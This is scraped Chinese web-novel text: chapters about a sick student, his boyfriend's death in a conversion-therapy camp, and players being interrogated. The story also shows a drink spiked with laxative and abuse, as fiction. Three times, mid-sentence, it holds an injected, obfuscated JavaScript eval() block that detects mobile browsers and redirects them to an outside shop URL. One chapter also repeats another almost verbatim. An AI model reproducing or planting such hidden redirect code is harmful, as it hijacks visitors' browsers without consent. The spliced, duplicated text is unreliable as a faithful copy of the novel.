“喏,里面那间房是空的,床单被子都有。你要是不喜欢那里,睡我房间也行。”苏叶把书包扔在沙发上,从冰箱里拿出两桶泡面,“晚饭吃这个行不?我家里只有泡面。” 我点点头。 苏叶烧水泡面,我坐在沙发上打量苏叶的房间。书架上乱七八糟塞着漫画、小说和游戏光碟,茶几上堆着零食袋和可乐罐。这些东西在我房间是从来不允许出现的……不过在江思房间可以有。 “你父母多久回来一次?”我问。 “不一定,有时候半年,有时候一年。”苏叶把泡面端过来,“他们在国外做生意,忙。若梦姐,就是昨天打电话骂我的那个,是我邻居,就住在对门,帮忙照看我。不过我其实用不着照看,都十六啦。” 我坐到他旁边吃面,但胃疼得实在厉害,勉强吃了几口就放下了。 “胃疼?”苏叶一眼就看出来了。 “……” “你不打算治病吗?”他问道。 我说:“是的。” 他也没劝我,可能是知道劝不动,又或者是不怎么在意。吃完后从衣柜里翻出一套睡衣扔给我:“新的,没穿过,浴室在那边。” 等我洗完澡出来时,苏叶已经抄完作业躺在沙发上玩手机了。我走到他旁边,他一骨碌爬起来,道:“你要是暂时回不来家,就住这儿吧,反正我一个人也无聊。” “……会麻烦你。”我说。 “不啊,又不是白住。”他道,“作业借我抄,偶尔教我写题目,OK?” “谢谢。” “客气啥。”他挥了挥手,“对了,明天早上记得叫我,我闹钟叫不醒。” 我点点头走进房间躺下,拿出手机,父母没有发来一条消息。我又摸出那张胃癌中期的检查单,借着窗外月光看了看,然后撕成碎片,扔进了垃圾桶。 接下来的日子,我暂时住在了苏叶家里。父母打过几次电话,我没接。他们停了我的卡,说什么时候道歉什么时候恢复。我无所谓,身上的现金还能撑一段时间。 苏叶和刘琰依旧是活跃分子,物理课上试图用电池和小马达造飞机,体育课偷偷溜去小卖部,回来时被教导主任逮住,罚扫厕所一周,结果把男厕所的门板拆了下来。 和他们俩相处时间长了,我自然也习惯了他们的吵闹。他们上课时间不会大声闹腾打扰老师同学的,一般都选择趴在桌上睡觉。 晚自习时很安静,也是苏叶最喜欢睡觉的时候。我写完最后一道题,总会下意识转头看他。他趴在桌上,侧脸对着我,棕色头发软软地搭在额前,耳朵上戴着花哨的耳钉,鼻梁很高,单眼皮,睫毛很长。 我盯着看了很久,直到他动一下,我才回过神,继续写题。 期中考试,我仍然是年级第一,父母对我态度暖和了些。苏叶和刘琰一个倒数第五,一个倒数第三。康师傅找他们谈话,两人垂头丧气地回来,但第二天又活蹦乱跳了。 但我胃癌的症状开始加重,胃疼的频率越来越高,疼得直不起腰。我只好去医院开止痛药,医生说不能再拖了,必须治疗。我说再等等。 等什么?我也不知道。 只是不太想活而已。 十一月底,冷空气来得猝不及防,北京下了第一场雪。雪花在教室窗外打着旋,晚自习刚开始,教室里还有其他学生低低的说话声。 口袋里的手机从上课铃响起时就一直在响,我不耐烦地打开,又是江思发来的。 【SB】:哥,晚上李少他们组局,新开的场子,妈问起来你就说我跟你在一起复习。 对了,我看上你那块新表了,瑞士带回来的那块,明天给我了。 听见没?回话。 江意你装什么死?别以为爸现在让你接触点公司的事你就了不起了,你什么东西你自己不清楚? 最后一条是语音,我戴上耳机点开,他张扬的声音从耳机里漏出:“江意,我警告你,乖乖当好你的工具,别惹我不高兴。否则我有的是办法让你在爸面前更难受。” 我敲了两个字:「随便你。」 刚发出去,旁边一直趴着睡觉的苏叶动了动,睁开眼,伸手敲了敲我的桌子。 我没理他,摊开试卷试图集中精神,视线落到题目上,字迹却模糊晃动。 又过了几秒,我感到苏叶在桌子底下轻轻踢了踢我的脚。 我转头看他,他用口型说:“走?” 我问:“去哪?” 他冲我眨眨眼,下巴朝后面门的方向抬了一下,然后做了个“溜”的手势。 从小到大都没犯过什么规矩,我下意识想摇头,但苏叶没给我犹豫的时间,将几本书胡乱塞进书包,拎着包,猫着腰借着课桌遮挡,快速从后门溜了出去。 我看着他的背影消失在门外,又看了看讲台上认真改作业的老师。教室里的暖气开得很足,玻璃窗上蒙了一层白雾。 几秒后,他合上卷子,拿起椅背上的外套,站起身低声说了一句:“老师,我去一下洗手间。” 老师点点头,我拉开后门,走了出去。 走廊里安静,比教室冷得多。苏叶靠在楼梯拐角,正把校服外套的拉链拉到顶,遮住下巴。看见我出来,他笑道:“真出来了?我还以为意哥你不会和我同流合污呢。” 我问:“你打算怎么离开五中?” “跟我来。”苏叶挥了挥手,走上通往天台的楼梯。 天台门锁着,但旁边有扇窗户,玻璃坏了一块。苏叶熟练地推开窗户钻出去,伸手拉我。外面是消防梯,通往学校后墙,我们顺着梯子趴下去。 “怎么样?”苏叶拍了拍手上的灰,“刺激吧?” “这就是你平时逃课的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17210758|177773||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 路?”我也拉高了拉链。 “之一。”苏叶伸出食指晃了晃,笑道,“安全高效,从未失手。哦,除了上次被若梦姐在网吧门口逮到的那次。” 墙外是条小巷,路灯坏了,我们沿着巷子往外头,雪落在肩膀上。出了巷口就是大陆,车流穿梭。 “现在要去哪?”我又问了一次。逃出来了,但并不知道要去哪里,要做什么。这种脱离轨道的茫然感,对我来说有些陌生。 “你弟现在在哪?”苏叶微微歪着头看我。 我愣了一下:“什么?” “江思。”苏叶重复道,“刚才他不是在跟你叫板吗?他在哪儿?这个点国际学校应该早就放学了,他也肯定不会回家。” 我想了想,说了一个酒吧的名字。那家消费不菲,是江思和他那群狐朋狗友喜欢聚集的地方之一。 “行。”苏叶点点头,伸手拦下一辆出租车,报出酒吧的名字,然后拉开车门示意我上去。 酒吧离学校有一段距离,在另一个更繁华的街区。下车时雪已经下得大了些,地上积了薄薄一层。酒吧的霓虹灯闪烁着光,装修浮夸,门口站着几个穿着单薄的男生女生。苏叶拉着我进去,暖气混着烟酒味扑面而来,音乐声震耳欲聋。 苏叶拉着我在各种舞池间穿梭,过了片刻,他停住脚步,指向吧台的方向:“那是你弟不?” 我顺着他指的方向看去,江思坐在卡座最中间,穿着件花衬衫,头发抓得很有型,正举着酒杯肆笑,旁边坐着几个跟他差不多大的朋友。 “等着吧。”苏叶朝我笑了一下,钻进人群。 我站在原地,看见他挤到吧台,从江思那桌旁边经过时,假装被绊了一下,整个人往桌上一扑,手在江思的酒杯上晃了一下,动作很快。 “对不起对不起。”苏叶连连道歉,江思骂了一句什么,他陪笑着离开,回到我身边。 “搞定。”他朝我眨了眨眼,勾唇道。 “你给他酒里放了什么?”我问。 “泻药,够他跑一晚上厕所了。” 苏叶拉着我躲到柱子后面,看着那边。江思毫无察觉,继续跟朋友们喝酒聊天,把那杯酒一饮而尽。过了大概五分钟,他脸色突然变了,捂着肚子站起来,说了句什么,匆匆往厕所方向跑。 苏叶憋着笑,拉着我往外走:“走,等他回来发现我们就不妙了。” 出了酒吧,冷空气扑面而来,带着雪的清新。苏叶深呼吸一口:“还是外面的空气好。” 我们沿着街道走,雪还在下。苏叶转头问我:“开心点没?” 我没说话,点点头。 “你弟那种人,就得这么治。”他继续道,“你越顺着他,他越来劲。” “我知道。” “但你从来不对他硬气。”苏叶停下脚步,“为什么?” 我看着街对面一家便利店明亮的窗户。 为什么? 因为从小就被教育要让着江思,因为他才是江家的继承人,因为我只是辅佐他的工具。我现在才十六,没有任何能力反抗江家,所以只能忍气吞声。 这些话说出来太可悲了,我开不了口。 苏叶似乎明白了什么,没再追问。他把手插进口袋里,踢了一脚路边的雪:“江意,你太能忍了。别人欺负你你忍着,胃疼你忍着,这样不好。” “习惯了。”我淡淡道。 “习惯可以改。”他说,“你身为我苏叶的同桌,应该像我一样好不好。从今天开始,你弟再惹你,我带你收拾他,保证不让他发现,你也不会有事,就今天一样。” 我看着他在雪中的脸,他的眼睛很亮,映照着雪光,里面有一种我从未拥有过的、鲜活的生命力。 过了好一会儿,我轻轻“嗯”了一声。 “走啦。”苏叶笑道,转身机会往前走,“翻墙回去,然后各回各家……哦不,是回我们两家,我作业还得抄你的呢。” 我笑着跟上他的脚步。 280.无事 系统被烧毁后,为了防止玩家生乱,大部分人都被执行官强制塞进了不同的副本。初与序等四人被全程监视,手机没收,聊天记录被翻了个底朝天,执行官上D冬搜查住所,好在白闽和陈秋天提前清理了所有痕迹,没被找出什么。 太阳升起来时,四人被抓到处罚区,分开审讯。 刺眼的白灯直射着初与序的脸,她抬起被铐住的双手,挡住光线,这才看清对面桌子后坐着三个执行官。其中一个走过来,按下她的胳膊,将手铐锁在椅子上。 中间的执行官十指交叉,平和道:“玩家初与序,你们团队最近频繁在系统五栋大厦附近活动,目的是什么?” “逛街。”初与序平静道,“系统没规定不能看风景吧。” “严肃点!”旁边的执行官用力敲桌,“三天前,你们队的冬逢初在处理区大楼外停留了四十四分钟,没有进去。” “可能他闲得慌。我又不是他,我怎么知道。”初与序耸肩,“只是站在外面,又能证明什么?” 中间的执行官冷下声音:“别装傻,你们团队在计划破坏系统,对吧?” 初与序低头,叹了口气:“我们队伍排名第一,也都是高层玩家。真想破坏系统,会让别人举报吗?从头到尾都是队长江意一个人做的,和我们四个无关。他做的事情,为什么审我们?” “谁不知道你们队伍的人穿一条裤子?都是不什么好鸟,江意要干什么,能不跟你们说?!”执行官拍桌厉声道,“别转移话题!” 隔壁审讯室,同样的问题。 随歌猛地站起来,手铐哗啦作响:“对!你们说得对!江意要干什么,为什么不跟我们说?!我他妈也想问!” “不是一个队的吗?老子和他做队友五年了!五年!他告诉我什么了?!” “你们以为我们装不知道?我们是真不知道!”随歌想捶桌子,“大晚上突然说他死了,说他破坏了系统,你们想让我们说什么?!” 审讯的执行官忍不住提高嗓门:“那你们就什么都没干?自从今年新人进队,永冬之城意外不断!难道是巧合?!” 另一间审讯室,冬逢初靠在椅背上,温和地笑了笑:“这只是你们的想象,有证据吗?” “永冬之城出事故,难道不是你们执行官管理不当?我们通关副本都难,哪里有空干别的?你们自己的问题,反而怪玩家。” “人在地上走,祸从天上来。” 执行官气笑了:“那就不说这个。审了一个小时,你们四个明明不在同一间审讯室,说的话几乎一字不差,不是串通好的?说吧,隐瞒了什么?” 景明垂面无表情:“这正好证明我们说的都是真的,你说我们串通,可系统被破坏后,我们一直被监视,什么时候能串通?如果是以前,监听系统没听见吗?” “凡事讲证据,这道理你们比我们懂。” 负责审讯的执行官扶住额头,朝旁边一挥手:“这四个满嘴谎话,问不出来。直接上催眠……” 远处忽然传来一声沉闷的巨响,像是有什么东西爆了。天花板簌簌落下灰尘,刚刚被临时修复好的警报再次响了起来。 四个审讯室的执行官纷纷按出耳麦,听里面的汇报,脸色一变。 初与序轻轻笑了一声:“执行官,你们这儿的安保,不太行啊?” 执行官咬牙瞪过来:“你们在搞什么鬼?!” 冬逢初摊开手:“我们几人分开关着,能干什么?” “你以为这能救你们?!” 景明垂道:“我们没说要被救啊。不过,你们现在更该担心的是别的地方吧?” 中间的执行官冷冷丢下一句:“把他们关进禁足室!不许离开房间!日后再审!” 四个人被粗暴地从椅子上拽起来,推搡着往处罚区后面的禁足区走,塞进不同的房间里。门砰地一声关上,落了锁。 初与序被扬起的灰尘呛得咳嗽了几声,她在原地站了一会儿,等眼睛适应黑暗,才慢慢坐下。 江意大概是早就料到了,审讯问不出,执行官一定会使用催眠。所以他提前做了准备,在别的地方又动了手脚,在刚刚引走了审讯的人。江意死了,而他们四个只要没被催眠,就能躲过这一关。 意哥,你连让我们亲口说谢谢的机会都不给。 可能是D19和齐无尽跟上面汇报了些什么,四个人被关了十天左右,没有再提审,直接放了。 刚走出处罚区,除了他们无罪释放的通知,一同传来的,还有一张江意的死亡确认书。 D19等在对面街道的大树下,他从口袋里掏出一样东西,递到初与序面前。 那是一只染着血迹的机械手环,是江意的武器。 “你们……好好存着吧。”D19道,“别弄丢了。” 初与序平静地接过来,拿在手里,低头看了很久。 随歌这十天的状态很差,几乎没怎么吃东西,人瘦了一大圈。他看着那只手环,眼泪又涌了出来。他吸了吸鼻子,用双手捂住脸。 破坏系统本身就是九死一生,五个人一开始都抱着可能回不来的决心,只是谁也没说出口。现在的结果似乎已经是最好的了。系统瘫痪了,他们四人还活着,D19、C13这些执行官也没有暴露。 可就是不得劲,因为最不该死、最不可能死的人死了。 因为之前的搜查,时光之书被白闽紧急销毁了,阁楼进不去,但现在系统瘫痪,监听和监视设备也一并失效,有些话终于可以直接在永冬之城说了。 D栋楼下的公共休息室内,几个人围坐在一起,一时间没人说话。 过了好一会儿,陈秋天先开口道:“这次破坏系统的计划,只有我们七位玩家,加上四个执行官知道。到底会是谁告的密?” 随歌忽然抬起头,直勾勾地盯向齐无尽。 齐无尽蹙着眉,回视他:“喂,你看我干什么?怀疑是我举报的?” 随歌冷冰冰地说:“谁知道呢,我们可猜不透齐长官的心思。” 初与序忙打圆场:“齐无尽全程都和我待在办事区分机室,他没机会,应该不是他。” 随歌哼了一声,又低下头去。 白闽一直沉默着,这时候忽然张了张嘴,又闭上。片刻后,又开口:“其实……从你们制定这个计划开始,江意就知道中途会被人举报。” 几个人都看向她:“什么?” 白闽叹了口气:“因为除了最开始的几次循环,后面只要你们尝试破坏系统,就会被人举报。计划要么中断,要么失败,要么就是你们四个人当中随机死一个顶罪。” “所以这次循环,他选择重 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17214593|177773||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 伤进入总部,用自己的命换系统瘫痪。这一切都是他计划好的,是唯一的出路。” “他很早之前找到我,就找我说了他的打算。我试图阻止,但他说如果他不这么做,你们五个人都会死。我知道你们的计划有多急,我能做的也只有尽力帮你们清除痕迹,打掩护。” 随歌红着眼抬起头:“意哥知道会发生意外,为什么不告诉我们?我们可以一起想办法,阻止那个举报的人!” “哪有那么简单?”齐无尽冷冷开口,“想办法?怎么想?先要找到是谁举报了你们破坏系统,举报人藏在哪里,用什么办法阻止,阻止之后他又会干什么。他能有渠道向上级举报,就有办法不让你们找到。几千次循环了,如果江意真的能找到,他还会用死这个办法吗?” 他看向随歌:“江意如果提前告诉你们,如果能避免这一切,能当然好。但如果不能避免,你们会同意他主动去送死吗?” 不会。 无论如何,他们都不会同意队伍里任何一个人,用这种方式去换计划成功。 初与序沉默了一会儿,开口道:“首先,举报人不可能在我们几个知情者中间。但知情者不一定只有我们几个。也可能有别的,像意哥那样的长生者,早就通过前几次循环知道我们会破坏系统,所以每次都会举报我们。” 白闽摇了摇头:“意哥之前和我说过,他前几次循环就排查了很多遍。除了他,其他长生者都不知道你们的计划,也没有能力在那种时间点举报。” 景明垂道:“那大概率就不是玩家了,是伪装成玩家的执行官,或者管理员,甚至妄主。” 冬逢初想起来什么,抬头道:“你们还记得之前月度巅峰赛突然取消的事情吗?当时有外来能量入侵永冬之城,人为造成了系统损坏,执行官们一直没找到是谁干的。” “之前意哥和D19他们谈过,说那是一位玩家,但如果他其实并不真的是玩家,而是装成玩家的呢?他们当时在排名榜上找,也没有找到人。还有,这次举报我们破坏系统的人,会不会就是同一个人?” 景明垂道:“……管理员?” 冬逢初问道:“为什么不能是妄主?” “妄主应该不能离开祂居住之地太久,祂需要管着那些管理员。而且如果祂真的想阻止我们破坏系统,直接下令加强系统守卫就行,没必要多此一举去举报。祂是妄主,想干什么都行。”景明垂道,“但如果是管理员,做事需要妄主同意,如果他想做,而妄主不同意,他就只能暗中举报。” 她顿了顿,皱起眉:“还有,我觉得他的最终目的并不是保护系统,毕竟他之前来到永冬之城,干的第一件事也是损坏系统。他真正的目的或许是要我们五个人里死掉一个,或者让那个人因为队友的死亡而不好受,并且那个人是固定的目标。” “之前他损坏系统,导致玩家队伍混编,可能就是想借着混编的机会,接近我们五个里的某一人。” 随歌抓了抓头发:“可我们没惹过任何管理员啊,我们连管理员长什么样子都不知道。到底有多大仇非要我们中一个死亡,还一直追着不放?” 暂时没人能回答这个问题。 白闽叹了口气,站起身:“算了,这几天大家都辛苦了,先回去好好休息一下。” 几个人陆续起身,离开了休息室。 281.忏悔 高二下学期的时候,学校学习压力大了很多。我的身体也渐渐地撑不住,每天靠着止疼药撑着。上课很难集中精神,疼得眼前发黑。 五月底的一天,下着大雨,北京的潮湿漫到骨子里。从晚自习时我胃里就翻江倒海地疼,咬着牙忍了一节课。下课铃响,教室里的人都陆续离开,我趴在桌上,等疼痛过去。 苏叶收拾好书包,问我:“走吗?” “你先走。”我说,“我还有事,一会儿就回去。” 他犹豫了一下,还是走了。教室里只剩下我一个人,疼痛越来越剧烈,我撑着墙站起来,跑到卫生间对着洗手池吐。都是血,在白色瓷砖上格外刺眼。 吐完,我打开水龙头冲掉血迹,捧起水漱口。抬头看向镜子,里面的人脸色苍白,瘦得快要脱相,连我一时间都认不出我自己了。我擦了擦唇边的血迹,往教室门口走。远远地,就看见苏叶站在教室门口。 他红着眼睛,看着我。 “意哥。”他颤抖着说,“你一直在骗我,对不对?你的病根本没好转。” 我看着他,不知道怎么开口。 “你说话啊!”他上前一步,想去牵我的手,“你的病到底怎么样了?!” 我垂下眼,躲开他伸来的手。沉默了很久,才忍下心开口:“苏叶,我们分手吧。” 他僵住了,根本没料到我会和他提分手。其实我自己也没料到。 “我活不到成年了。”我平静地说,“你没必要守着我一个将死之人。” “我在乎这个吗?!”苏叶道,“我们可以一起想办法,一定能治好的……” “治不好了。”我打断他,“医生说了,最多三年。” 他踉跄地往后退了一步,眼睛更红了:“所以你就要放弃?所以你就不要我了?” “不是不要你。”我说,“是不想拖累你。” “你他妈说什么拖累?”他吼出来,“江意,我喜欢你,我爱你,我想和你在一起,就算只有一天我也愿意!” 我看着他,心脏疼得厉害,喘不过气。 所有人都知道,我们俩之间,最先死的一定是我。 “我不愿意。”我说,“我不想每天看见你为了我哭,不想你因为我放弃自己的生活。你很聪明,好好学习肯定可以考上好大学。苏叶,我们分手,以后别再来找我了。” 说完,我抓起书包转身离开。走出教室的时候,听见他在后面喊我的名字,声音带着哭腔。我没回头,一步步走下楼梯,眼泪终于掉下来,砸在台阶上。 外面的雨没停,雨水冲掉了我脸上的泪,又或者是我流的泪太多了,盖住了雨,模糊了我的视线,可我又忘了带伞。 第二天,苏叶没来学校。 第三天,第四天,他也没来。我给他发消息,说这几天还在下雨,记得带伞,他没回。问刘琰,刘琰说不知道,也联系不上他。 第五天,我问康师傅。康师傅说,苏叶父母回国了,给他办了休学,原因不明。 放学后,我去他家找他,敲了半天门,没有人应。我在门口等了一个多小时,隔壁的门开了。 若梦姐探出头,看见我,愣了一下:“你是……江意吧,叶子的男朋友。” 我点头:“请问苏叶这几天去哪了?” 若梦姐沉默了一会儿,走出来,靠在门框上:“他爸妈前两天从国外回来了,这附近不知道哪个邻居看见你之前和他牵手,告诉了他们,说苏叶是同性恋,在学校和男同桌谈恋爱。他们当晚就把苏叶送走了。” 我心里一咯噔:“送哪去了?” “戒同所,在山东那边,叫什么……竹翰学院。”若梦姐叹了口气,“苏叶当时跪下来求他爸妈,说他有对象在这边,对象家里对他不好,要是他被送走了,对象被赶出来就没地方去了。但他爸妈不听,还是让戒同所的人把他抓上车带走了。” 我脑子轰地一炸,全身的血液都凉了。竹翰学院,我听说过那地方,打着“矫正”的旗号,用暴力、电击、药物折磨人。他父母竟然敢把他送到那种地方?! “地址。”我说,“学院的具体地址,有吗?” 若梦姐摇摇头:“我不知道,他爸妈不肯告诉我。” 我来不及道谢,转身就往家里冲。 父亲正在书房看文件,见我冲进来,抬头看了我一眼:“有事?” “爸,求您一件事。”我弯腰低头,强忍着身体的颤抖,快速道,“山东有家戒同所,叫竹翰学院。我的同学被送进去了,求您想办法查查那家学院,能不能……能不能把他弄出来?” 父亲放下文件,冷冷地看着我:“你同学?是你那个小男友吧?” 我喜欢男生,这一点我父母知道,他们不在乎这个,因为传宗接代的是江思,不是我。 “……是。” “江意,我以为你至少有点脑子。”父亲站起来,面无表情道,“那种学院能光明正大地开着,背后的势力一定盘根错节,你知道牵扯多少人吗?为了一个小男友,你要把整个江家拖下水?” “那种地方会打死人的!”我抬起头,双眼通红,“爸,他有可能永远回不来了!” “那又怎样?”父亲走到我面前,轻描淡写,“江意,我再说一次。你的价值是辅佐江思,管理公司。谈恋爱可以,我不管你谈多少个,谈男的女的,但别动真情。现在这个小男友没了,你再找一个就是。但为了他得罪不该得罪的人,不行。” “爸……” “够了。”父亲挥手,“你出国治疗吧,美国那边医疗条件更好,医院已经联系好了,过几天就走。” “我去美国。”我说,“但我要先见苏叶一面,确定他的安全。” 父亲居高临下地看着我:“江意,你的命是江家给的,我说什么,你必须听。” 我知道再说下去也没有用,转身上楼。半夜的时候,我收拾了简单的行李,打算自己去山东。刚走到门口,就被保镖拦住了。 “少爷,老爷说了,您不能离开。” 我被软禁在房间里,三天后,父亲让人给我打了镇静剂,直接送上飞机。醒来时,我已经在美国的医院里了。 医院环境很好,医生也很专业,虽然不能治好,但能吊住我的命,确保我活到三十多岁。但我配合得不好,我不吃药,不配合检查,也拒绝化疗。 医生对我父母说:“病人没有求生意志,甚至尝试自戕。” 我尝试过自杀吗?可能吧,但我不记得了。 我每天像行尸走肉,除了治疗就是发呆。父母偶尔会来看我,问学业,问公司,问病情,但从来不提苏叶。 两个月后的夏天,我收到了一条陌生号码发来的短信: 「江意,我是若梦姐。」 「苏叶死了。」 ……死了? ‘死了’是什么意思? 不应该是“回北京了”吗? 短短几个字,我看了一遍又一遍,直到眼睛模糊。 打电话过去,若梦接了起来,哽咽着说:“叶子被竹翰学院的教官打死了,活活打死的……尸体运回北京了,葬礼在大后天,你……能回来吗?” 我不知道自己是怎么挂的电话,我冲去找父母,跪下来求他们让我回国,一周就行。父亲看了我很久,最后说:“可以,但你必须配合治疗,然后辅佐江思,江家的一切,你不能再争。” “好。”我点头,“我什么都不要了,让我回去见他最后一面。” 回国的飞机上,我看着窗外。云层很厚,白茫茫一片。 葬礼在一个小雨天,墓园里人很少,只有苏叶的父母和几位亲戚,还有若梦姐、康师傅、刘琰和五中的同学。 我走到棺材边,苏叶躺在里面,穿着白衬衫,脸上化了妆,还是那么帅气,但遮不住那 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17215495|177773||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 些青紫的伤痕。我颤抖地伸出手想碰碰他的脸,被工作人员拦住了。 我就去看遗像,黑白照片上的苏叶在笑,露出两颗虎牙,眼睛弯弯的。 “家属请节哀。” 家属。我不是家属,我只是他之前的男朋友,一个救不了他的人,我太对不起他了,我太没用了。 所有人都觉得,最先去世的应该是我,不该是苏叶。 我不喜欢他。 我爱他。 我这辈子都无法放下他了。 若梦姐走过来,递给我一个小盒子:“这是法医从他手里拿出来的,一直攥着,费了好大力气才拿出来,你打开看看吧。” 我接过盒子,打开,里面是一张纸条,已经被血浸透了,但还能看出上面的字:“意哥,等我哦”。 五个字,写得歪歪扭扭,但很用力。 我攥着那张纸条,有人在我旁边哭,声音很大。我侧头去看,是一个黄头发的男生,右手五根手指都缠着绷带,脸上还带着淤青,哭得撕心裂肺。 这就是我和随歌的第一次见面。 他应该也是竹翰学院的人,葬礼结束后,他看见我,小心翼翼地喊:“你是……江意吗?” 我愣了一下,点了点头。 “我叫随歌。”他说,“在竹翰学院和苏叶睡隔壁床的。” 我们找了个地方坐下,随歌告诉我,他在竹翰学院待了快两年,是因为厌学被父母送进去的。 “苏叶刚来第一天就破了纪录。”他说着,眼泪又掉了下来,“一天被教官打了六次,教官问他该不该喜欢男生,他说该,一直说要出去,要见你。” “两个月前,他发现学院背后在做非法交易,问我要不要一起去收集证据,出来后举报,我同意了。但被同学举报,教官过来把我们抓回去打。” “他帮我扛了很多下。”随歌道。“他说是他连累了我,我听到他身上骨头断掉的声音。” “他最后对我说:‘告诉江意,对不起,等不到他了’。” 我垂眸,看见随歌的右手。他的五根手指也全都被打断了,再也弹不了吉他。 葬礼结束后第二天,苏叶父母又出了国。学院赔了他们一大笔钱,他们撤了诉,可能打算再生二胎。随歌的父母把他接回家,不让他再接触任何与学院有关的事情。 我回了美国,配合治疗,吃药,化疗,手术,病情得到了控制。但医生仍然说我没有求生意志,活不过二十岁。 但命运有时候很奇怪,我活到了。 十八岁时,我拿到了美国绿卡,后面几年从一开始的加州的德安萨学院转入了麻省理工学院,二十岁修完了计算机科学与金融数学双学位。生日那天,父亲说我可以正式进公司。 我没意见,回房间睡觉,闭上眼,想着苏叶。 四年了,我还是梦见他,梦见他在医院台阶上对我笑,梦见他和刘琰在教室闹,梦见他在雪地里跑过来,梦见他吻我,而我在梦里向他忏悔。 我想,快了,我快能见到他了。 然后我睡着了,再睁眼时,发现自己在一辆列车上。 窗外是飞速倒退的雪景,天色灰蒙蒙的,分不清是清晨还是黄昏。车厢里人不多,散坐着几个乘客,都闭着眼,像是在睡觉。角落里坐着一个浅棕色头发的青年,左眼眼尾上有一颗痣,沉默地看着窗外。他前面的是长发齐腰的女生,齐刘海,面容和青年相似,微笑着与旁边人搭话。 然后我看见了随歌,他坐在旁边的座位上,低着头,腿上放着一把吉他,黄头发已经长长了。手指上的绷带已经拆了,但上面还有很明显的术后伤疤。 他察觉到我的视线,抬起头,疲惫地挤出笑容:“意哥,你也来了。” “这辆车会去哪?”车厢里有人开口询问。 列车长没理他。 我不知道列车要去哪里,但我不打算下车了。 282.无事 系统被烧毁后,为了防止玩家生乱,大部分人都被执行官强制塞进了不同的副本。初与序等四人被全程监视,手机没收,聊天记录被翻了个底朝天,执行官上D冬搜查住所,好在白闽和陈秋天提前清理了所有痕迹,没被找出什么。 太阳升起来时,四人被抓到处罚区,分开审讯。 刺眼的白灯直射着初与序的脸,她抬起被铐住的双手,挡住光线,这才看清对面桌子后坐着三个执行官。其中一个走过来,按下她的胳膊,将手铐锁在椅子上。 中间的执行官十指交叉,平和道:“玩家初与序,你们团队最近频繁在系统五栋大厦附近活动,目的是什么?” “逛街。”初与序平静道,“系统没规定不能看风景吧。” “严肃点!”旁边的执行官用力敲桌,“三天前,你们队的冬逢初在处理区大楼外停留了四十四分钟,没有进去。” “可能他闲得慌。我又不是他,我怎么知道。”初与序耸肩,“只是站在外面,又能证明什么?” 中间的执行官冷下声音:“别装傻,你们团队在计划破坏系统,对吧?” 初与序低头,叹了口气:“我们队伍排名第一,也都是高层玩家。真想破坏系统,会让别人举报吗?从头到尾都是队长江意一个人做的,和我们四个无关。他做的事情,为什么审我们?” “谁不知道你们队伍的人穿一条裤子?都是不什么好鸟,江意要干什么,能不跟你们说?!”执行官拍桌厉声道,“别转移话题!” 隔壁审讯室,同样的问题。 随歌猛地站起来,手铐哗啦作响:“对!你们说得对!江意要干什么,为什么不跟我们说?!我他妈也想问!” “不是一个队的吗?老子和他做队友五年了!五年!他告诉我什么了?!” “你们以为我们装不知道?我们是真不知道!”随歌想捶桌子,“大晚上突然说他死了,说他破坏了系统,你们想让我们说什么?!” 审讯的执行官忍不住提高嗓门:“那你们就什么都没干?自从今年新人进队,永冬之城意外不断!难道是巧合?!” 另一间审讯室,冬逢初靠在椅背上,温和地笑了笑:“这只是你们的想象,有证据吗?” “永冬之城出事故,难道不是你们执行官管理不当?我们通关副本都难,哪里有空干别的?你们自己的问题,反而怪玩家。” “人在地上走,祸从天上来。” 执行官气笑了:“那就不说这个。审了一个小时,你们四个明明不在同一间审讯室,说的话几乎一字不差,不是串通好的?说吧,隐瞒了什么?” 景明垂面无表情:“这正好证明我们说的都是真的,你说我们串通,可系统被破坏后,我们一直被监视,什么时候能串通?如果是以前,监听系统没听见吗?” “凡事讲证据,这道理你们比我们懂。” 负责审讯的执行官扶住额头,朝旁边一挥手:“这四个满嘴谎话,问不出来。直接上催眠……” 远处忽然传来一声沉闷的巨响,像是有什么东西爆了。天花板簌簌落下灰尘,刚刚被临时修复好的警报再次响了起来。 四个审讯室的执行官纷纷按出耳麦,听里面的汇报,脸色一变。 初与序轻轻笑了一声:“执行官,你们这儿的安保,不太行啊?” 执行官咬牙瞪过来:“你们在搞什么鬼?!” 冬逢初摊开手:“我们几人分开关着,能干什么?” “你以为这能救你们?!” 景明垂道:“我们没说要被救啊。不过,你们现在更该担心的是别的地方吧?” 中间的执行官冷冷丢下一句:“把他们关进禁足室!不许离开房间!日后再审!” 四个人被粗暴地从椅子上拽起来,推搡着往处罚区后面的禁足区走,塞进不同的房间里。门砰地一声关上,落了锁。 